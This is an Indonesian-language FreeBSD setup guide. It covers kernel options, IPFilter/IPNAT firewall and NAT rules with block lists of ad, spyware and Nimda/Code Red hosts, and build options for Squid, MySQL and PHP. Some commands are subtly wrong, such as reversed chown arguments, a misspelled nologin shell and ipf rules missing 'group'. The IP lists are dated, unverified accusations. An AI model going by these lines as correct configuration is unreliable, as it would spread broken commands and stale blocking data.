#cpu		I486_CPU&lt;br /&gt;
#cpu		I586_CPU&lt;br /&gt;
cpu		I686_CPU&lt;br /&gt;
maxusers	32&lt;br /&gt;
&lt;br /&gt;
#kostumisasi kernel (lihat juga catatan tambahan)&lt;br /&gt;
ident		AA&lt;br /&gt;
makeoptions	KERNEL=AA		&lt;br /&gt;
&lt;br /&gt;
#jangan lupa mengganti entri di /boot atau /etc/defaults/rc.conf&lt;br /&gt;
#userconfig_script_load=&amp;quot;YES&amp;quot;&lt;br /&gt;
#kernel=&amp;quot;/AA&amp;quot;&lt;br /&gt;
#verbose_loading=&amp;quot;YES&amp;quot;&lt;br /&gt;
#autoboot_delay=&amp;quot;3&amp;quot;&lt;br /&gt;
#bootfile=&amp;quot;AA,aa,kernel&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#kita tidak memakai 386SX kebawah, jadi emulasi mathco bisa dihapus saja&lt;br /&gt;
#options 	GPL_MATH_EMULATE	#Support for x87 emulation&lt;br /&gt;
&lt;br /&gt;
#console menggunakan teks mode 90x60&lt;br /&gt;
device		vga0	at isa?&lt;br /&gt;
options		VGA_WIDTH90		#90 baris VGA&lt;br /&gt;
options		VESA&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti tambahkan font dan screenflags di /etc/rc.conf sbb:&lt;br /&gt;
#font8x14=&amp;quot;cp437-8x14&amp;quot;&lt;br /&gt;
#font8x16=&amp;quot;cp437-8x16&amp;quot;&lt;br /&gt;
#font8x8=&amp;quot;cp437-8x8&amp;quot;&lt;br /&gt;
#allscreens_flags=&amp;quot;VGA_90x60&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#hapus splash screen/screen saver.&lt;br /&gt;
#pseudo-device	splash&lt;br /&gt;
&lt;br /&gt;
#selain UFS, dalam box kita terdapat juga NTFS dan EXT2FS&lt;br /&gt;
options 	NTFS		#NT&lt;br /&gt;
options 	EXT2FS		#Linux&lt;br /&gt;
options         NFS_NOSERVER	#Membuang kode NFS&lt;br /&gt;
&lt;br /&gt;
#options         UNION		#UFS bisa digabung&lt;br /&gt;
#options         NULLFS		#null&lt;br /&gt;
#options         UMAPFS		#UID Map FileSystem&lt;br /&gt;
#options         KERNFS		#kernel&lt;br /&gt;
#options         SMBFS		#SMB/File Sharing ala Windows&lt;br /&gt;
#options         PROCFS		#memetakan Process ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Tambahkan flags 0xb0ff (maks. drive blok transfer) untuk hard-disk&lt;br /&gt;
# untuk sepasang hard-disk per-interface flagsnya adalah 0xb0ffb0ff&lt;br /&gt;
device	ata0	at isa? port IO_WD1 irq 14 flags 0xb0ffb0ff&lt;br /&gt;
device	ata1	at isa? port IO_WD2 irq 15 flags 0xb0ffb0ff&lt;br /&gt;
&lt;br /&gt;
options 	SOFTUPDATES	#penting untuk meningkatkan performansi&lt;br /&gt;
options 	ATA_STATIC_ID	#Static device numbering&lt;br /&gt;
&lt;br /&gt;
#hapus saja tape-drive.&lt;br /&gt;
#device		atapist		# ATAPI tape drives&lt;br /&gt;
&lt;br /&gt;
# jika menggunakan APM, sebaiknya tidak.&lt;br /&gt;
#device	apm0    at nexus? disable flags 0x20 # Advanced Power Management&lt;br /&gt;
&lt;br /&gt;
# PCCARD (PCMCIA) support, buang saja&lt;br /&gt;
#device	card&lt;br /&gt;
#device	pcic0	at isa? irq 0 port 0x3e0 iomem 0xd0000&lt;br /&gt;
#device	pcic1	at isa? irq 0 port 0x3e2 iomem 0xd4000 disable&lt;br /&gt;
&lt;br /&gt;
#Buang saja serial 2 dan 3&lt;br /&gt;
#device	sio2	at isa? disable port IO_COM3 irq 5&lt;br /&gt;
#device	sio3	at isa? disable port IO_COM4 irq 9&lt;br /&gt;
&lt;br /&gt;
#Buang juga koneksi lewat Parallel port&lt;br /&gt;
#device	plip		# TCP/IP over parallel&lt;br /&gt;
#device	ppi		# Parallel port interface device&lt;br /&gt;
#device	vpo		# Requires scbus and da&lt;br /&gt;
&lt;br /&gt;
#Buang semua entri ethernet yang tidak ada&lt;br /&gt;
#saya cuma punya 3Com 3C509, 3C905 dan realtek&lt;br /&gt;
device	ep		# 3Com 3C509 (10 MBps)&lt;br /&gt;
device	xl		# 3Com 3c905 (10/100)&lt;br /&gt;
device	rl		# RealTek 8129/8139 (10/100)&lt;br /&gt;
#device	de		# Realtek lama (10)&lt;br /&gt;
&lt;br /&gt;
#Banyak software yang tergantung kepada bpf&lt;br /&gt;
#(discouraged), tapi sebaiknya tetap dipasang&lt;br /&gt;
pseudo-device	bpf		#Berkeley packet filter&lt;br /&gt;
&lt;br /&gt;
#Buang semua options USB yang hardwarenya tidak ada&lt;br /&gt;
device	uhci		# UHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	ohci		# OHCI PCI-&amp;gt;USB interface&lt;br /&gt;
device	usb		# USB Bus (required)&lt;br /&gt;
device	ugen		# Generic&lt;br /&gt;
#device	uhid		# &amp;quot;Human Interface Devices&amp;quot;&lt;br /&gt;
#device	ukbd		# Keyboard&lt;br /&gt;
#device	ulpt		# Printer&lt;br /&gt;
#device	umass		# Disks/Mass storage - Requires scbus and da&lt;br /&gt;
#device	ums		# Mouse&lt;br /&gt;
#device	uscanner	# Scanners&lt;br /&gt;
# USB Ethernet, requires mii&lt;br /&gt;
#device	aue		# ADMtek USB ethernet&lt;br /&gt;
#device	cue		# CATC USB ethernet&lt;br /&gt;
#device	kue		# Kawasaki LSI USB ethernet&lt;br /&gt;
&lt;br /&gt;
#Soundcard (generik)&lt;br /&gt;
device		pcm&lt;br /&gt;
&lt;br /&gt;
#jangan lupa nanti untuk membuat entri2 sound&lt;br /&gt;
#(audio, mixer, sequencer dll) di /dev:&lt;br /&gt;
#cd /dev&lt;br /&gt;
#./MAKEDEV snd &lt;br /&gt;
&lt;br /&gt;
#Intel PIIX4 Power Management Unit&lt;br /&gt;
#device smbus &lt;br /&gt;
#device intpm&lt;br /&gt;
&lt;br /&gt;
#Berhubung SCSI card saya sudah sangat kuno, akhirnya saya cabut :)&lt;br /&gt;
#Jika tidak memiliki SCSI, semua options yang behubungan dengan skasi&lt;br /&gt;
#bisa dibuang&lt;br /&gt;
&lt;br /&gt;
#options 	SCSI_DELAY=8000		#Delay (in ms) before probing SCSI&lt;br /&gt;
# SCSI Controllers&lt;br /&gt;
#...&lt;br /&gt;
# SCSI peripherals&lt;br /&gt;
#...&lt;br /&gt;
&lt;br /&gt;
#Jika menggunakan firewall bawaan FreeBSD:&lt;br /&gt;
#options	IPFIREWALL&lt;br /&gt;
#options	IPDIVERT&lt;br /&gt;
#options	IPFIREWALL_VERBOSE&lt;br /&gt;
#options	IPFIREWALL_VERBOSE_LIMIT=32&lt;br /&gt;
#options	IPFIREWALL_DEFAULT_TO_ACCEPT&lt;br /&gt;
&lt;br /&gt;
#Jika anda memasang bandwith quota tambahkan entri dibawah ini&lt;br /&gt;
#options	IPDIVERT	#digunakan juga oleh ipfw/natd&lt;br /&gt;
#options	DUMMYNET&lt;br /&gt;
#options	QUOTA&lt;br /&gt;
&lt;br /&gt;
#Konfigurasi ipfilter/ipnat ini yang kita pakai&lt;br /&gt;
#cat. jika menggunakan IPFilter TIDAK PERLU ditambahkan&lt;br /&gt;
#lagi options IPDIVERT seperti yang terdapat dalam&lt;br /&gt;
#beberapa dokumentasi online&lt;br /&gt;
&lt;br /&gt;
options		IPFILTER&lt;br /&gt;
options		IPFILTER_LOG&lt;br /&gt;
options		IPFILTER_DEFAULT_BLOCK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#untuk memperketat firewall bisa ditambahkan options dibawah ini:&lt;br /&gt;
options		IPSTEALTH&lt;br /&gt;
options		TCP_DROP_SYNFIN&lt;br /&gt;
options		TCP_RESTRICT_RST	&lt;br /&gt;
&lt;br /&gt;
options         MROUTING&lt;br /&gt;
options         RANDOM_IP_ID&lt;br /&gt;
&lt;br /&gt;
#beberapa options lainnya untuk memacu performa&lt;br /&gt;
options         NBUF=4096&lt;br /&gt;
options         NMBCLUSTERS=8192&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#catatan tambahan:&lt;br /&gt;
&lt;br /&gt;
#Jika anda ingin mengubah release, copyright et-al., lakukan perubahan ini&lt;br /&gt;
#di /usr/src/sys/conf/newvers.sh&lt;br /&gt;
&lt;br /&gt;
#dari original&lt;br /&gt;
#TYPE=&amp;quot;FreeBSD&amp;quot;&lt;br /&gt;
#REVISION=&amp;quot;4.3&amp;quot;&lt;br /&gt;
#BRANCH=&amp;quot;RELEASE&amp;quot;&lt;br /&gt;
#RELEASE=4.3-RELEASE&lt;br /&gt;
#VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
if [ X&amp;quot;$COPYRIGHT&amp;quot; = X ]; then&lt;br /&gt;
	COPYRIGHT=&amp;quot;/*&lt;br /&gt;
 * Copyright (c) $year&lt;br /&gt;
 *	FreeBSD Inc. All rights reserved.&lt;br /&gt;
 *&lt;br /&gt;
 */&amp;quot;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
#menjadi violated&lt;br /&gt;
TYPE=&amp;quot;mbakNunix&amp;quot;&lt;br /&gt;
REVISION=&amp;quot;1.31&amp;quot;&lt;br /&gt;
BRANCH=&amp;quot;BURIX&amp;quot;&lt;br /&gt;
RELEASE=1.31-BURIX&lt;br /&gt;
VERSION=&amp;quot;${TYPE} ${RELEASE}&amp;quot;&lt;br /&gt;
COPYRIGHT=&amp;quot;&lt;br /&gt;
/*** aa, aa.delphi@yahoo.com, 1995-$year ***/&lt;br /&gt;
&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2.1.2 Kompilasi&lt;br /&gt;
&lt;br /&gt;
Akhirnya kita kompile kernel sbb:&lt;br /&gt;
&lt;br /&gt;
su (kita harus root)&lt;br /&gt;
cd /usr/src/sys/i386/conf&lt;br /&gt;
chflags noschg AA (jika sekuriti diperketat, biasanya kernel diberi flag schg)&lt;br /&gt;
&lt;br /&gt;
  /usr/sbin/config -r AA &amp;amp;&amp;amp; \&lt;br /&gt;
  cd ../../compile/$1 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make depend) 2&amp;gt;~/err1 &amp;amp;&amp;amp; \&lt;br /&gt;
  make 2&amp;gt;~/err2 &amp;amp;&amp;amp; \&lt;br /&gt;
  (make install) 2&amp;gt;~/err3&lt;br /&gt;
&lt;br /&gt;
semua error message masing-masing akan dicatat di /root, file: err1, err2 dan err3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2. Mengkonfigurasi IPF/IPNAT&lt;br /&gt;
&lt;br /&gt;
3.2.1. Konfigurasi rc.conf&lt;br /&gt;
Konfigurasi umum seperti biasa dilakukan di rc.conf&lt;br /&gt;
&lt;br /&gt;
3.2.2. Konfigurasi syslog.conf&lt;br /&gt;
&lt;br /&gt;
3.2.3. Tuning sysctl.conf&lt;br /&gt;
net.inet.ip.forwarding=1&lt;br /&gt;
net.inet.ip.fastforwarding=1&lt;br /&gt;
&lt;br /&gt;
3.2.4. ipnat.rules&lt;br /&gt;
Rules untuk IPNAT dibahas lebih dulu karena relatif jauh lebih sederhana daripada rules untuk IPF&lt;br /&gt;
&lt;br /&gt;
Catatan:&lt;br /&gt;
map artinya: remap SOURCE  packet&#039;s IP address&lt;br /&gt;
rdr artinya: redirect DESTINATION of packet&#039;s IP address&lt;br /&gt;
&lt;br /&gt;
Tambahkan baris berikut untuk mengemap :) port ftp&lt;br /&gt;
&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 proxy port 21 ftp/tcp&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32 portmap tcp/udp 49152:65535 #nomor port bebas antara 0-65535&lt;br /&gt;
  map rl1 192.168.1.0/24 -&amp;gt; 0/32&lt;br /&gt;
&lt;br /&gt;
HTTP request di redirect ke server&lt;br /&gt;
&lt;br /&gt;
  rdr rl1 0/32 port 80 -&amp;gt; 192.168.1.1 port 80 tcp&lt;br /&gt;
&lt;br /&gt;
#jika perlu permintaan http dari lokal bisa di redirect ke SQUID port 3128&lt;br /&gt;
#rdr rl0 0.0.0.0/0 port 80 -&amp;gt; 192.168.1.1 port 3128 tcp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5. ipf.rules&lt;br /&gt;
&lt;br /&gt;
Default konfigurasi adalah block in all, block out all artinya dengan konfigurasi seperti ini server kita benar-benar jadi mahluk egois, tidak mau melihat kanan-kiri sedikitpun :)&lt;br /&gt;
&lt;br /&gt;
konfigurasi paling sederhana yang bisa berjalan adalah:&lt;br /&gt;
&lt;br /&gt;
  pass in all&lt;br /&gt;
  pass out all&lt;br /&gt;
&lt;br /&gt;
Artinya sama saja dengan tidak memasang firewall.&lt;br /&gt;
&lt;br /&gt;
jika server kita hanya digunakan untuk mengakses internet keluar (outward-only), cukup kita isi firewall rules dengan satu baris:&lt;br /&gt;
&lt;br /&gt;
  pass out quick all keep state keep frags&lt;br /&gt;
&lt;br /&gt;
untuk ipf ver 4.32 (FreeBSD 4.5+) rule &amp;quot;keep&amp;quot; tidak bisa diterapkan kepada paket selain tcp/udp/icmp, jadi rule diatas dibagi menjadi:&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp/udp all keep state keep frags&lt;br /&gt;
  pass out quick proto icmp all keep state keep frags&lt;br /&gt;
  pass out quick all&lt;br /&gt;
  &lt;br /&gt;
Dengan menggunakan keep state, kita tinggal membuka port yang kita perlukan saja, lalu-lintas koneksi yang terkait dengan servis/port tsb selanjutnya ditangani oleh ipf, misalnya:&lt;br /&gt;
&lt;br /&gt;
  block in quick all&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
&lt;br /&gt;
meski diatas terdapat block, icmp-reply akan tetap bisa masuk masuk karena memang diminta oleh icmp-echo.&lt;br /&gt;
pada protokol tcp/udp lainnya, pembukaan gerbang masuk ini mencakup juga control messages berupa icmp atau bahkan segmen IP dengan nomor port lainnya yang berbeda, yang masih terkait dalam koneksi tersebut.&lt;br /&gt;
  &lt;br /&gt;
catatan tambahan:                                        &lt;br /&gt;
Sebaiknya keep-state jangan terlalu di-obral supaya tidak menghabiskan resources atau bahkan membuka celah security berupa Denial of Service (DoS) Attack, lebih tepat kiranya jika hanya protokol TCP dengan SYN Flag serta port-port tertentu saja yang dipasangi keep-state seperti FTP (21), SSH (22), SMTP (25), DNS (53), DHCP (67/58), serta ICMP echo.&lt;br /&gt;
Jika hanya permintaan koneksi (ditandai dengan SYN flag) dari servis/port tertentu yang dibuka, jalur masuk semua ditutup (block in all), port FTP mau tidak mau harus diberi keep state karena setelah koneksi terjadi dia akan membuka port/jalur baru (UDP port 20, atau TCP dengan unassigned [high number] port) untuk komunikasi data.&lt;br /&gt;
&lt;br /&gt;
  pass out quick proto tcp flags S keep state&lt;br /&gt;
  pass out quick proto udp port = 53 keep state&lt;br /&gt;
  pass out quick proto icmp all icmp-type echo keep state&lt;br /&gt;
  pass out quick all&lt;br /&gt;
&lt;br /&gt;
Karena pembahasan ipf ini cukup panjang, maka akan kita singkat saja dengan menggunakan rules yang berguna secara umum&lt;br /&gt;
&lt;br /&gt;
[pre]&lt;br /&gt;
#UMUM&lt;br /&gt;
pass in  quick on lo0&lt;br /&gt;
pass out quick on lo0&lt;br /&gt;
&lt;br /&gt;
#NBNS&lt;br /&gt;
block return-rst in quick proto tcp all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
block return-icmp-as-dest(port-unr) in quick all port 136 &amp;gt;&amp;lt; 140&lt;br /&gt;
&lt;br /&gt;
#============================================================&lt;br /&gt;
#if_1 adalah eksternal interface (yang terhubung ke internet)&lt;br /&gt;
#============================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_1 all head 10000&lt;br /&gt;
#Start group 10000&lt;br /&gt;
&lt;br /&gt;
   block in quick all with opt lsrr group 10000 #block loose src routing&lt;br /&gt;
   block in quick all with opt ssrr group 10000 #block strict src routing&lt;br /&gt;
   block in quick proto tcp all with frags group 10000&lt;br /&gt;
&lt;br /&gt;
   #block no. ip address yang diketahui berbahaya, bervirus dsb.&lt;br /&gt;
   #block in quick proto tcp/udp from Danger_IPs group 10000&lt;br /&gt;
   #(lihat daftar 3.2.5.2)&lt;br /&gt;
&lt;br /&gt;
   pass in quick proto tcp all port = http flags S keep state group 10000 #jika kita pasang web server&lt;br /&gt;
&lt;br /&gt;
   block in quick proto icmp all head 11000 group 10000 #blok icmp yang tidak perlu&lt;br /&gt;
   #Start group 11000&lt;br /&gt;
      #pass in log first quick proto icmp all icmp-type echo group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type echorep group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type unreach group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type redir group 11000&lt;br /&gt;
      pass in quick proto icmp all icmp-type timex group 11000&lt;br /&gt;
      block in return-icmp-as-dest(host-unr) in quick all group 11000&lt;br /&gt;
   #End group 11000&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   block return-rst in quick proto tcp all group 10000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 10000&lt;br /&gt;
&lt;br /&gt;
#End group 10000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_1 all head 20000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags group 20000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 20000&lt;br /&gt;
pass out quick all 20000&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#===========================================================&lt;br /&gt;
#if_2 adalah internal interface (yang terhubung ke intranet)&lt;br /&gt;
#===========================================================&lt;br /&gt;
&lt;br /&gt;
#INWARD&lt;br /&gt;
#------&lt;br /&gt;
block in  quick on if_2 all head 30000&lt;br /&gt;
#Start group 30000&lt;br /&gt;
&lt;br /&gt;
   #Test User, tahan uninitialized host&lt;br /&gt;
   block in quick from !192.168.1.1/24 to any head 31000 group 30000&lt;br /&gt;
   #Start group 31000&lt;br /&gt;
 &lt;br /&gt;
      #Unknown User, harus daftar dhcp dulu&lt;br /&gt;
      pass in log first quick proto tcp/udp from any port = 68 to any port = 67 group 31000&lt;br /&gt;
      block return-icmp-as-dest(host-unk) in log first quick all group 31000 #Unknown&lt;br /&gt;
    &lt;br /&gt;
      #HTTP&lt;br /&gt;
      #Tahan dulu http untuk diinterogasi, mau kemanakah tujuannya.&lt;br /&gt;
      block in log first quick all port = http head 32000 group 31000&lt;br /&gt;
      #Start group 32000&lt;br /&gt;
    &lt;br /&gt;
         #HTTP block template: popups, junker, spammer etc. dilarang!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 64.38.238.0/18 group 32000 #ADS!&lt;br /&gt;
         block return-rst in log first quick proto tcp from any to 66.28.153.36/24 group 32000 #porn&amp;amp;spy!&lt;br /&gt;
         #...dst (lihat daftar 3.2.5.1 yang berisi IP popups/spyies)&lt;br /&gt;
      &lt;br /&gt;
         #aman...&lt;br /&gt;
         pass in log first quick proto tcp all flags S keep state keep frags group 32000&lt;br /&gt;
         &lt;br /&gt;
         #HTTP-TCP only, yg lainnya di-blok by default!&lt;br /&gt;
         block return-rst in quick proto tcp all group 32000&lt;br /&gt;
    &lt;br /&gt;
      #End group 32000&lt;br /&gt;
   #End group 31000&lt;br /&gt;
 &lt;br /&gt;
   #Pada tahap ini user telah dikenal (dari 192.168.1.1/24) dan dengan permintaan port selain http&lt;br /&gt;
   #atau user dari 192.168.1.1/24 dengan port http namun protokolnya selain tcp&lt;br /&gt;
   &lt;br /&gt;
   #Tahan permintaan DNS keluar&lt;br /&gt;
   block return-icmp-as-dest(filter-prohib) in quick proto tcp/udp from any to 202.155.0.10/24 port = domain group 30000&lt;br /&gt;
 &lt;br /&gt;
   pass in log first quick proto tcp/udp all port &amp;lt; 1024 keep state group 30000 #regular ports&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3130 keep state group 30000 #SQUID&lt;br /&gt;
   pass in log first quick proto tcp/udp all port = 3306 keep state group 30000 #MySQL&lt;br /&gt;
 &lt;br /&gt;
   #__________________________________________________&lt;br /&gt;
   #lainnya secara default di-blok&lt;br /&gt;
   block return-rst in quick proto tcp all group 30000&lt;br /&gt;
   block return-icmp-as-dest(port-unr) in quick all group 30000&lt;br /&gt;
&lt;br /&gt;
#End group 30000&lt;br /&gt;
&lt;br /&gt;
#OUTWARD bebas&lt;br /&gt;
#-------------&lt;br /&gt;
block out quick on if_2 all head 40000&lt;br /&gt;
pass out quick proto tcp/udp all keep state keep frags 40000&lt;br /&gt;
pass out quick proto icmp all keep state keep frags 40000&lt;br /&gt;
pass out quick all 40000&lt;br /&gt;
[/pre]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
3.2.5.1 Daftar alamat IP popup&lt;br /&gt;
Berikut ini daftar ip popup dan advertising banner, spy, spammer dll yang selain menyebalkan juga kadang berbahaya.&lt;br /&gt;
cat.: ganti kata &amp;quot;BLOK&amp;quot; dengan: &amp;quot;block return-rst in log first quick proto tcp from any to&amp;quot;, juga nomor group disesuaikan dengan konfigurasi&lt;br /&gt;
&lt;br /&gt;
  #HTTP block template&lt;br /&gt;
&lt;br /&gt;
  #Hall Of Fames - top of sh*ts!-&lt;br /&gt;
  BLOK 64.38.238.0/18 group 42000 #popups.ini&lt;br /&gt;
  BLOK 64.38.223.51/24 group 42000 #!!!trafficcashgold.com&lt;br /&gt;
  BLOK 64.38.226.6/24 group 42000 #maxcash.cavecreek.net&lt;br /&gt;
  BLOK 64.38.247.60/24 group 42000 #count1-old.paycounter.com[]&lt;br /&gt;
  BLOK 205.180.85.40/24 group 42000 #popups.ini TOP!!! media.fastclick.net&lt;br /&gt;
  BLOK 202.180.8.129/24 group 42000 #ns1.servercyber.com&lt;br /&gt;
  BLOK 207.68.178.251/24 group 42000 #ads.msn.com&lt;br /&gt;
  BLOK 207.68.185.58/24 group 42000 #autosearch.msn.com&lt;br /&gt;
  BLOK 207.68.171.254/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.172.253/24 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 207.68.173.254/22 group 42000 #adobe-spy&lt;br /&gt;
  BLOK 209.225.0.6/24 group 42000 #servedby.advertising.com&lt;br /&gt;
  BLOK 209.225.4.72/24 group 42000 #advertising.com&lt;br /&gt;
&lt;br /&gt;
  #telkom!dont-block: BLOK 203.130.252.36/24 group 42000 #mencurigakan sih&lt;br /&gt;
&lt;br /&gt;
  #dangerous!&lt;br /&gt;
    BLOK 66.28.38.3/24 group 42000 #&lt;br /&gt;
    BLOK 209.50.252.100/24 group 42000 #4bigcash.com&lt;br /&gt;
    BLOK 209.5.187.10/24 group 42000 #freepopups.com&lt;br /&gt;
    #BLOK 209.5.187.16/24 group 42000 #adpowerzone.com&lt;br /&gt;
    #BLOK 213.249.1.67/24 group 42000 #d67.kif2.nas.panafonet.gr&lt;br /&gt;
  #End dangerous&lt;br /&gt;
&lt;br /&gt;
  #from popups.ini&lt;br /&gt;
    BLOK 12.42.235.3/24 group 42000 #popups.ini&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.95.228.15/24 group 42000 #popups.ini&lt;br /&gt;
  #end-from popups.ini&lt;br /&gt;
&lt;br /&gt;
  #new compilation&lt;br /&gt;
    #BLOK 66.206.15.201/24 group 42000 #indo-porn, gapapa-lah&lt;br /&gt;
    BLOK 63.167.204.56/24 group 42000 #7adpower.com&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 128.11.42.61/24 group 42000 #burstnet.com&lt;br /&gt;
    #dont-block-yahoo: BLOK 66.218.71.80/24 group 42000 #w1.scd.yahoo.com&lt;br /&gt;
  #end-new compilation&lt;br /&gt;
&lt;br /&gt;
  #old compilation&lt;br /&gt;
    BLOK 12.90.179.10/16 group 42000&lt;br /&gt;
    BLOK 63.215.149.25/24 group 42000 #porno&lt;br /&gt;
    BLOK 192.150.10.120/16 group 42000 #adobe spyier!!!&lt;br /&gt;
    #...long-list...&lt;br /&gt;
    BLOK 216.218.220.42/24 group 42000 #servergold.com - porn&lt;br /&gt;
    #beware! Namezeroes are always peeking our nbns port!&lt;br /&gt;
    BLOK 216.34.13.245 port != 80 group 42000&lt;br /&gt;
&lt;br /&gt;
  #end-old-compilation&lt;br /&gt;
&lt;br /&gt;
3.2.5.2 Daftar alamat IP berbahaya&lt;br /&gt;
Berikut ini daftar alamat IP berbahaya karena menyebarkan virus nimda atau code-red hingga tulisan ini dibuat (mungkin IP anda tercantum disini, selamat! :)).&lt;br /&gt;
penggunaannya dalam ipf.rules misalnya:&lt;br /&gt;
&lt;br /&gt;
  block return-rst in log first quick on rl1 proto tcp from 202.10.35.227 to any Group 23456 #Nimda&lt;br /&gt;
&lt;br /&gt;
  4.47.218.144#code_red&lt;br /&gt;
  &lt;br /&gt;
#internal INDOSAT NET-10.X.X.X&lt;br /&gt;
  10.1.8.108#nimda&lt;br /&gt;
  10.6.2.4#nimda&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  10.6.18.68#nimda&lt;br /&gt;
#end: internal INDOSAT NET-10.X.X.X&lt;br /&gt;
&lt;br /&gt;
  24.73.201.22#code_red&lt;br /&gt;
  24.80.172.120#code_red&lt;br /&gt;
  #...long-list...&lt;br /&gt;
  24.196.16.168#code_red&lt;br /&gt;
  219.8.104.74#nimda&lt;br /&gt;
&lt;br /&gt;
4.Lain-lain&lt;br /&gt;
Dalam bagian ini diasumsikan bahwa kita akan menginstal program dari source kodenya, yang diekstrak ke direktori /usr/local/src, mis.: tar -xpvzf apache.tgz -C /usr/local/src.&lt;br /&gt;
bagian version number, jika ada, sebaiknya dihilangkan, mis.: mv  apache-1.1.23pl8  apache&lt;br /&gt;
&lt;br /&gt;
4.1. Squid&lt;br /&gt;
/configure --enable-ipf-transparent \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang perlu:&lt;br /&gt;
--prefix=/usr/local \&lt;br /&gt;
--bindir=\${prefix}/sbin \ &lt;br /&gt;
--libexecdir=\${prefix}/libexec \&lt;br /&gt;
--sysconfdir=\${prefix}/etc/squid \&lt;br /&gt;
&lt;br /&gt;
#parameter lain yang mungkin perlu:&lt;br /&gt;
--enable-storeio=&amp;quot;ufs diskd null&amp;quot; \&lt;br /&gt;
--enable-removal-policies=&amp;quot;lru heap&amp;quot; \&lt;br /&gt;
&lt;br /&gt;
#parameter tambahan:&lt;br /&gt;
--localstatedir=\${prefix}/squid \&lt;br /&gt;
--host=i686 \&lt;br /&gt;
--disable-ident-lookups \&lt;br /&gt;
--disable-wccp \&lt;br /&gt;
--enable-kill-parent-hack \&lt;br /&gt;
--enable-time-hack \&lt;br /&gt;
--with-pthreads &lt;br /&gt;
&lt;br /&gt;
make all; make install&lt;br /&gt;
&lt;br /&gt;
Dengan parameter diatas kita akan memperoleh konfigurasi squid yang mirip seperti jika kita menginstalnya melalui package.&lt;br /&gt;
Kemudian file logs dan cache di direktori /usr/local/etc/squid di chown nobody:nogroup (atau sesuai dengan usernya jika telah dibuat user untuk squid, seperti user mysql dibawah).&lt;br /&gt;
Setelah itu kita buat intial cache directory dengan menjalankan: squid -z. Default cache size adalah 100MB.&lt;br /&gt;
&lt;br /&gt;
==Konfigurasi MySQL, PHP dan Apache==&lt;br /&gt;
&lt;br /&gt;
==MySQL==&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --localstatedir=/var/db/mysql \&lt;br /&gt;
  --with-unix-socket-path=/var/run/mysql.sock \&lt;br /&gt;
  --host=i686 \&lt;br /&gt;
  --enable-assembler \&lt;br /&gt;
  --with-libwrap \&lt;br /&gt;
  --with-berkeley-db \&lt;br /&gt;
  --with-named-z-lib \&lt;br /&gt;
  --with-mysqld-ldflags=-all-static \&lt;br /&gt;
  --with-client-ldflags=-all-static \&lt;br /&gt;
  --without-debug \&lt;br /&gt;
  --without-bench \&lt;br /&gt;
  --without-docs \&lt;br /&gt;
  --without-readline&lt;br /&gt;
 &lt;br /&gt;
 make; make install&lt;br /&gt;
&lt;br /&gt;
Tambahkan user mysql dengan ID misalkan = 3036&lt;br /&gt;
&lt;br /&gt;
 pw add group mysql -g 3036&lt;br /&gt;
 pw add user mysql -u mysql -g mysql -wno -s /sbin/nologint -d /var/db/mysql -c &amp;quot;MySQL&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Direktori localstatedir (/var/db/mysql) diatas, *harus* read/write by user mysql:&lt;br /&gt;
chown -R /var/db/mysql mysql:mysql&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
Sebelumnya kita harus cd ke source apache dulu: cd /usr/local/src/apache, lalu jalankan  ./configure (plain).&lt;br /&gt;
&lt;br /&gt;
Kemudian baru cd ke source php: cd /usr/local/src/php dan mengkonfigurasi php sesuai preferensi kita.&lt;br /&gt;
&lt;br /&gt;
 /configure \&lt;br /&gt;
  --build=i686 \&lt;br /&gt;
  --prefix=/usr/local \&lt;br /&gt;
  --with-mysql=/usr/local \&lt;br /&gt;
  --with-apache=../apache \&lt;br /&gt;
  --with-pcre-regex=/usr/local \&lt;br /&gt;
  --with-mcrypt \&lt;br /&gt;
  --with-zlib \&lt;br /&gt;
  --with-ftp \&lt;br /&gt;
  --enable-track-vars \&lt;br /&gt;
  --enable-ctype &lt;br /&gt;
&lt;br /&gt;
 make; make install &lt;br /&gt;
&lt;br /&gt;
==Apache==&lt;br /&gt;
&lt;br /&gt;
